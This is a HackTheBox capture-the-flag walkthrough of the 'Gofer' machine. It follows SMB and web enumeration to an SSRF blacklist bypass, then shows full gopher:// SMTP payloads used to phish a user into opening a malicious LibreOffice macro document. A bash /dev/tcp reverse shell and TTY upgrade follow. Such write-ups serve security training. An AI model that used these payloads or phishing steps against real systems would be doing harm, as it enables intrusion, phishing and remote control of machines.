index-logo

Gofer - HTB

walkthrough by elswix

Machine: Gofer
Difficulty: Hard
Platform: HackTheBox
Release: Released on 07/29/2023


About Gofer


Gofer is a hard-level machine on the HackTheBox platform. Initially, we encounter a network-level shared resource via SMB that leaks a file containing pertinent information for the first exploitation. It reveals details about an internal SMTP service at the system level. While enumerating subdomains, we discover a section that allows us to conduct an SSRF to interact with internal services of the victim machine.


Shell as Jocelyn


Exploiting the SSRF, we utilized the Gopher protocol to send emails. We crafted a malicious ODT file and sent it via email to the user Jocelyn, enticing them to download and execute it, thereby gaining access to the system.


Shell as tbuckley


As the user Jocelyn, we have the privilege to execute tcpdump, enabling us to sniff packets at the network level. While sniffing packets, we observed HTTP requests being made within the victim machine, within which credentials belonging to the user tbuckley were transmitted. We leveraged these credentials to gain SSH access to this user.


Shell as root


As the user tbuckley, we are part of a group that has the privilege to execute an unusual Set-UID binary. After reverse-engineering the binary, we discovered a vulnerability that we could exploit to escalate privileges to the root user.


Recon


Firstly, we will conduct a port scan to identify open ports on the target machine. To achieve this, we'll employ the nmap tool:

elswix@kali$ sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.225 -oN portScan

Host is up (2.2s latency).
Not shown: 65468 closed tcp ports (reset), 63 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
Upon identifying the open ports on the victim machine, our next step involves executing a comprehensive scan to identify the technologies, services, and versions operating within these ports.

Once more, we'll utilize the nmap tool:

elswix@kali$ nmap -sCV -p22,80,139,445 10.10.11.225 -oN fullScan

Nmap scan report for 10.10.11.225 (10.10.11.225)
Host is up (0.22s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 aa:25:82:6e:b8:04:b6:a9:a9:5e:1a:91:f0:94:51:dd (RSA)
|   256 18:21:ba:a7:dc:e4:4f:60:d7:81:03:9a:5d:c2:e5:96 (ECDSA)
|_  256 a4:2d:0d:45:13:2a:9e:7f:86:7a:f6:f7:78:bc:42:d9 (ED25519)
80/tcp  open  http        Apache httpd 2.4.56
|_http-title: Did not follow redirect to http://gofer.htb/
|_http-server-header: Apache/2.4.56 (Debian)
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: Host: gofer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2023-10-28T13:15:11
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
At first glance, it's evident that the machine is running an SSH service, an HTTP service, and unusually, an SMB service, which is not commonly found on Linux machines.


SMB Enumeration


We'll proceed to enumerate the SMB service using the crackmapexec tool:

elswix@kali$ crackmapexec smb 10.10.11.225
SMB         10.10.11.225    445    GOFER            [*] Windows 6.1 Build 0 (name:GOFER) (domain:htb) (signing:False) (SMBv1:False)
The initial indication suggests it's a Windows machine, but this information appears to be incorrect or uninformative. We'll now proceed to enumerate the SMB shares once more using the crackmapexec tool:

elswix@kali$ crackmapexec smb 10.10.11.225 --shares
SMB         10.10.11.225    445    GOFER            [*] Windows 6.1 Build 0 (name:GOFER) (domain:htb) (signing:False) (SMBv1:False)
SMB         10.10.11.225    445    GOFER            [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
It returns STATUS_USER_SESSION_DELETED, which could be indicative of the null session being disabled.

Let's attempt to enumerate SMB shares using a Guest Session by solely specifying a username:

elswix@kali$ crackmapexec smb 10.10.11.225 -u 'elswix' -p '' --shares
SMB         10.10.11.225    445    GOFER            [*] Windows 6.1 Build 0 (name:GOFER) (domain:htb) (signing:False) (SMBv1:False)
SMB         10.10.11.225    445    GOFER            [+] htb\elswix: 
SMB         10.10.11.225    445    GOFER            [+] Enumerated shares
SMB         10.10.11.225    445    GOFER            Share           Permissions     Remark
SMB         10.10.11.225    445    GOFER            -----           -----------     ------
SMB         10.10.11.225    445    GOFER            print$                          Printer Drivers
SMB         10.10.11.225    445    GOFER            shares          READ            
SMB         10.10.11.225    445    GOFER            IPC$                            IPC Service (Samba 4.13.13-Debian)
We've identified an accessible SMB share named shares. We'll now connect to it without specifying a password, using smbclient:

elswix@kali$ smbclient //10.10.11.225/shares -U 'elswix'
Password for [WORKGROUP\elswix]:
Try "help" to get a list of possible commands.
smb: \>
Initially, we notice a directory named .backup. Let's proceed to list its contents:

smb: \> cd .backup
smb: \.backup\> ls
  .                                   D        0  Thu Apr 27 09:49:32 2023
  ..                                  D        0  Fri Oct 28 16:32:08 2022
  mail                                N     1101  Thu Apr 27 09:49:32 2023

        5061888 blocks of size 1024. 2163516 blocks available
smb: \.backup\>
There's a file named mail. Unfortunately, I can't read this file using smbclient, so I'll begin by downloading it to my machine:

smb: \.backup\> get mail
getting file \.backup\mail of size 1101 as mail (1.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
smb: \.backup\>
Now, I'll be able to read its content using the cat command

From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That`s why from now on, I`ve decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you`re working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>
It appears to be an email from jdavis@gofer.htb to tbuckley@gofer.htb. In the email, jdavis mentions a user named Jocelyn who has seemingly fallen victim to a phishing email. There's a reference to .odt files in the context of sharing files through emails. This information is crucial and serves as a key point to consider for the first exploit.


Web Application


There's an HTTP Service running on port 80 on the victim machine. This service is associated with a webpage. To initiate the enumeration process, we'll perform a technology scan using the whatweb tool:

elswix@kali$ whatweb -a 3 10.10.11.225
http://10.10.11.225 [301 Moved Permanently] Apache[2.4.56], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[10.10.11.225], RedirectLocation[http://gofer.htb/], Title[301 Moved Permanently]
ERROR Opening: http://gofer.htb/ - no address for gofer.htb
While attempting to access the service using the IP address, we were redirected to the gofer.htb domain. Since this domain is not listed in our /etc/hosts file, the system doesn't recognize which IP address corresponds to this domain.

Hence, our initial step will be to add this domain to our /etc/hosts file:

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.225 gofer.htb
Now, upon attempting to access the service using the IP address, it redirects us to the domain, correctly resolving to the appropriate IP.

elswix@kali$ whatweb -a 3 10.10.11.225
http://10.10.11.225 [301 Moved Permanently] Apache[2.4.56], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[10.10.11.225], RedirectLocation[http://gofer.htb/], Title[301 Moved Permanently]
http://gofer.htb/ [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], Email[info@gofer.htb], Frame, HTML5, HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[10.10.11.225], Lightbox, Script, Title[Gofer]
Since there isn't any significant information available, let's access the website through our browser:



After spending some time browsing the site, I haven't come across anything noteworthy.


Subdomain Enumeration


We'll proceed to enumerate subdomains using ffuf:

elswix@kali$ ffuf -c -t 100 -w /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://gofer.htb -H "Host: FUZZ.gofer.htb" --fw=20

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://gofer.htb
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.gofer.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 20
________________________________________________

proxy                   [Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 3924ms]

:: Progress: [4989/4989] :: Job [1/1] :: 140 req/sec :: Duration: [0:00:54] :: Errors: 0 ::
It has discovered the proxy.gofer.htb subdomain. We'll need to add it to our /etc/hosts file, pointing it to the victim machine's IP address.

elswix@kali$ cat /etc/hosts
127.0.0.1   localhost
127.0.1.1   kali.localhost kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# HackTheBox
10.10.11.225 gofer.htb proxy.gofer.htb
When attempting to access proxy.gofer.htb, it returns a status code 401 (unauthorized), prompting us for credentials. As we currently lack valid credentials, access is restricted.

While we might not have access to the main page, we can potentially access other directories or files. Since we lack information regarding directories or files, let's initiate a fuzzing process.

Once again, utilizing ffuf, we'll conceal the 401 status code:

elswix@kali$ ffuf -c -t 100 -w /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://proxy.gofer.htb/FUZZ --fc=401

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://proxy.gofer.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 401
________________________________________________

[WARN] Caught keyboard interrupt (Ctrl-C)
I ran the process for 5 minutes, but unfortunately, it didn't yield any results, so I stopped it.

Now, I'll proceed to fuzz files with extensions such as php, html, js, etc.

I've created an extensions.txt file with the following content:

elswix@kali$ cat extensions.txt
php
html
js
txt
So, let's execute ffuf using two wordlists:

elswix@kali$ ffuf -c -t 50 -w /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -w extensions.txt:EXTENSIONS -u http://proxy.gofer.htb/FUZZ.EXTENSIONS --fc=401

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://proxy.gofer.htb/FUZZ.EXTENSIONS
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Wordlist         : EXTENSIONS: /home/elswix/Desktop/elswix/HTB/Gofer/content/extensions.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 401
________________________________________________

[WARN] Caught keyboard interrupt (Ctrl-C)
The scan didn't yield any results, so I terminated it. To explore further, I'm considering making requests using the POST method. Sometimes, certain sections of web pages remain inaccessible via the GET method, yet can be accessed or manipulated through the POST method.

Once again, using ffuf, I'll initiate a similar scan but this time using the -X POST parameter to specify that all requests should be made using the POST method.

elswix@kali$ ffuf -c -t 50 -w /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -w extensions.txt:EXTENSIONS -u http://proxy.gofer.htb/FUZZ.EXTENSIONS --fc=401 -X POST

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://proxy.gofer.htb/FUZZ.EXTENSIONS
 :: Wordlist         : FUZZ: /opt/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Wordlist         : EXTENSIONS: /home/elswix/Desktop/elswix/HTB/Gofer/content/extensions.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 401
________________________________________________

[Status: 200, Size: 81, Words: 9, Lines: 2, Duration: 401ms]
    * EXTENSIONS: php
    * FUZZ: index

[WARN] Caught keyboard interrupt (Ctrl-C)
It discovered an index.php file accessible through POST requests.

Upon using curl to make a POST Request to http://proxy.gofer.htb, it returns the following message:

elswix@kali$ curl -s -X POST http://proxy.gofer.htb/index.php
<!-- Welcome to Gofer proxy -->
<html><body>Missing URL parameter !</body></html>%
It indicates a missing URL parameter, so I'll specify it in the URL:

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=TEST'
It's not generating any output. It seems to attempt access to the URL specified in the URL parameter.

I'll set up an HTTP Server on my attacker machine. First, I need to create the HTTP Server:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now, let's send the request:

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://10.10.16.7'
<!-- Welcome to Gofer proxy -->
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="extensions.txt">extensions.txt</a></li>
</ul>
<hr>
</body>
</html>
1
It's executing the request specified in the URL parameter, and I've received the GET request on my Python HTTP Server:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.225 - - [28/Oct/2023 12:13:26] "GET / HTTP/1.1" 200 -


SSRF


Given that we can specify the URL for the machine to request, let's attempt to access an internal service on the victim machine that's not externally accessible.

For instance, let's try to access the webpage hosted on port 80 on the local machine:

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://127.0.0.1'
<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: /127 !</body></html>%
It appears there might be security measures in place to prevent SSRF. It seems to be checking for blacklisted words in the specified URL. We can attempt to bypass this restriction by using different phrasing.

Let's try accessing using localhost instead of 127.0.0.1:

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://localhost'
<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: localhost !</body></html>%
It's displaying an error as well. Let's explore techniques for bypassing blacklist words by referring to external resources, specifically looking at a method mentioned in PayloadsAllTheThings that involves using a decimal IP location. The equivalent of 127.0.0.1 in decimal is 2130706433. Let's try this in the URL.

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=http://2130706433'

<!-- Welcome to Gofer proxy -->
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at gofer.htb Port 80</address>
</body></html>
This yields a different output, indicating a potential successful bypass of the blacklist words security implementation.


Shell as jhudson


It's evident at this stage that the machine's name becomes pivotal for this exploitation. Confirming that an Email Service is operating on port 25 on the victim machine (as indicated by the email from jdavis@gofer.htb), which highlighted a phishing attack that impacted the user Jocelyn. Jocelyn fell victim to this attack by clicking on a link without recognizing its source.

Our current strategy involves leveraging SSRF to send an email to the user Jocelyn, containing a malevolent link that directs to our attacker's machine. This link should prompt the download of a file with an ODT extension. ODT files are essentially text files used by the LibreOffice program. These file types enable the addition of macros containing malicious content, capable of executing undesired instructions on the system.

To send the email, we first need to determine the email of the user Jocelyn, which, judging by the structure of the email we've read, appears to be composed of the initial of the name and their last name.

In the "Team" section of the victim machine's main page, specifically on gofer.htb, we can view the names and last names of users that seem to be part of the team.



We managed to see the name "Jocelyn Hudson," which could belong to the user to whom we need to send the malicious email. First, let's adjust the name to fit the email format: jhudson@gofer.htb.


SSRF - Gopher


There are some techniques to communicate with internal services when exploiting an SSRF, and in our case, we're going to use Gopher.

"Using this protocol you can specify the IP, port and bytes you want the server to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first)."

HackTricks - SSRF

In HackTricks, there's an example payload to connect to an SMTP Server by exploiting an SSRF using Gopher://

gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
Now we're going to conduct some tests, but first, we need to make slight modifications to this payload. Given its length, we must handle the modifications carefully.

Initially, I'm going to attempt using this payload without any modification. Let's send the request to the victim machine:

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'

<!-- Welcome to Gofer proxy -->
<html><body>Blacklisted keyword: localhost !</body></html>
It's generating an error due to the usage of blacklisted words. Firstly, I'll replace the strings 127.0.0.1 and localhost with 2130706433:

elswix@kali$ cat payload | sed 's/127\.0\.0\.1/2130706433/' | sed 's/localhost/2130706433/' | sponge payload
Now, I'll copy the modified payload and proceed to send it:

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
550 5.1.1 <victim@site.com>: Recipient address rejected: 127.0.0.1
554 5.5.1 Error: no valid recipients
221 2.7.0 Error: I can break rules, too. Goodbye.
It's providing a different output, and we can observe that we're interacting with PostFix. This confirms our successful exploitation of the SSRF to interact with the SMTP service!

Now, let's modify the payload to send the email to jhudson@gofer.htb and include a link pointing to my HTTP Server. Upon clicking the link, we'll receive a GET request on our HTTP Server.

The only modification needed is in the RCPT mail:

elswix@kali$ cat payload | sed 's/victim@site.com/jhudson@gofer.htb/' | sed 's/victime@site.com/jhudson@gofer.htb/' | sponge payload
I'll also modify the message content to include the URL pointing to our HTTP Server.

gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250ahttp://10.10.16.7/PWNED%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
Before sending the new payload, I'll set up an HTTP Server:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now, let's send the payload:

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250ahttp://10.10.16.7/PWNED%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'

<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 45C1A8140
221 2.0.0 Bye
After waiting for about a minute, I received a GET request from the victim machine to my HTTP server.

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.225 - - [28/Oct/2023 14:01:21] code 404, message File not found
10.10.11.225 - - [28/Oct/2023 14:01:21] "GET /PWNED HTTP/1.1" 404 -
The user jhudson is indeed clicking on the links I send her in the email content.

With this knowledge, we now need to create a malicious file that we will offer via an HTTP server on our victim machine. This will be the file the user in question will need to download and subsequently execute.

First, let's generate a Writer document using LibreOffice.



Now, let's navigate to the macros section.



Click on Edit Macros, then proceed to create a new one.



Next, we need to insert the malicious content into the Malicious macro.



As part of this test, we will utilize the Shell() function to execute commands on the victim machine. In this instance, we'll initiate a curl request to our HTTP Server.

Upon running the macro, the output will resemble the following:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.16.7 - - [28/Oct/2023 14:29:14] code 404, message File not found
10.10.16.7 - - [28/Oct/2023 14:29:14] "GET /ThisWasExecuted HTTP/1.1" 404 -
Before saving the file, it's crucial to ensure that the macro runs upon opening the document; otherwise, the macro won't execute at any point.

To configure this, we need to click on Tools -> Macros -> Organize Macros -> Basic:



We need to click on Assign.



We navigate to the Events section.



Click on Open Document and select the respective macro.



Once the file is saved, the macro will execute the specified command when the document is reopened.

Now, we need to host the file on a web server. When the user jhudson clicks the link, the file will be downloaded and, assuming jhudson opens the file upon download, it will execute the malicious content.

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250ahttp://10.10.16.7/pwned.odt%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'
<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 1365366EF
221 2.0.0 Bye
1%
We've successfully sent the email, and now we wait for the user jhudson to click the link included in the email's content.

After a while, the user has downloaded and opened the file.

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.225 - - [28/Oct/2023 14:42:20] "GET /pwned.odt HTTP/1.1" 200 -
10.10.11.225 - - [28/Oct/2023 14:42:25] code 404, message File not found
10.10.11.225 - - [28/Oct/2023 14:42:25] "GET /ThisWasExecuted HTTP/1.1" 404 -
At this stage, we have a system-level command execution attack vector, so we will attempt to set up a reverse shell.

Firstly, I'll create a file named pwned.sh with the following content:

elswix@kali$ cat pwned.sh
#!/bin/bash 
bash -i >& /dev/tcp/10.10.16.7/3001 0>&1
Now I will modify the command in the malicious macro.



With this command, we'll ensure that upon making a request to the file pwned.sh, its content will be interpreted with bash, thereby enabling us to receive a reverse shell.

Firstly, we're going to set up our netcat (nc) listener on port 3001:

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Now, we'll host an HTTP Server serving the pwned.sh file:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Finally, I will send the request to the victim machine:

elswix@kali$ curl -s -X POST 'http://proxy.gofer.htb/index.php?url=gopher://2130706433:25/xHELO%202130706433%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250ahttp://10.10.16.7/pwned.odt%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a'

<!-- Welcome to Gofer proxy -->
220 gofer.htb ESMTP Postfix (Debian/GNU)
250 gofer.htb
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 7293F8142
221 2.0.0 Bye
Now, if we check our HTTP Server, we'll see that we've received two GET requests.

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.225 - - [28/Oct/2023 14:51:21] "GET /pwned.odt HTTP/1.1" 200 -
10.10.11.225 - - [28/Oct/2023 14:51:25] "GET /pwned.sh HTTP/1.1" 200 -
Finally, we've obtained a reverse shell on our netcat (nc) listener.

elswix@kali$ nc -lvnp 3001
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:3001
Ncat: Listening on 0.0.0.0:3001
Ncat: Connection from 10.10.11.225:42468.
bash: cannot set terminal process group (7760): Inappropriate ioctl for device
bash: no job control in this shell
bash: /home/jhudson/.bashrc: Permission denied
jhudson@gofer:/usr/bin$
We've successfully gained access to the system. Now, let's adjust the TTY for a more comfortable interaction with the system.

jhudson@gofer:/usr/bin$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
jhudson@gofer:/usr/bin$ ^Z
zsh: suspended  nc -lvnp 3001

elswix@kali$ stty raw -echo;fg
[1]  + continued  nc -lvnp 3001
                               reset
reset: unknown terminal type unknown
Terminal type? xterm
jhudson@gofer:/usr/bin$ export TERM=xterm
jhudson@gofer:/usr/bin$ export SHELL=/bin/bash
jhudson@gofer:/usr/bin$
As jhudson, we can access the first flag.

jhudson@gofer:~$ cat user.txt 
3af8d*********************9784f
jhudson@gofer:~$


Shell as tbuckley


When listing the groups to which the user jhudson belongs, we can observe an unusual group:

jhudson@gofer:~$ id
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
After researching online, I found that the netdev group is related to operating on network interfaces, among other things. It's something worth noting.

Next, we'll list the Set-UID files:

jhudson@gofer:~$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/local/bin/notes
jhudson@gofer:~$
We notice an unusual file located at /usr/local/bin. Checking the permissions of this file, we find that we cannot execute it, but members of the dev group can.

jhudson@gofer:~$ ls -l /usr/local/bin/notes
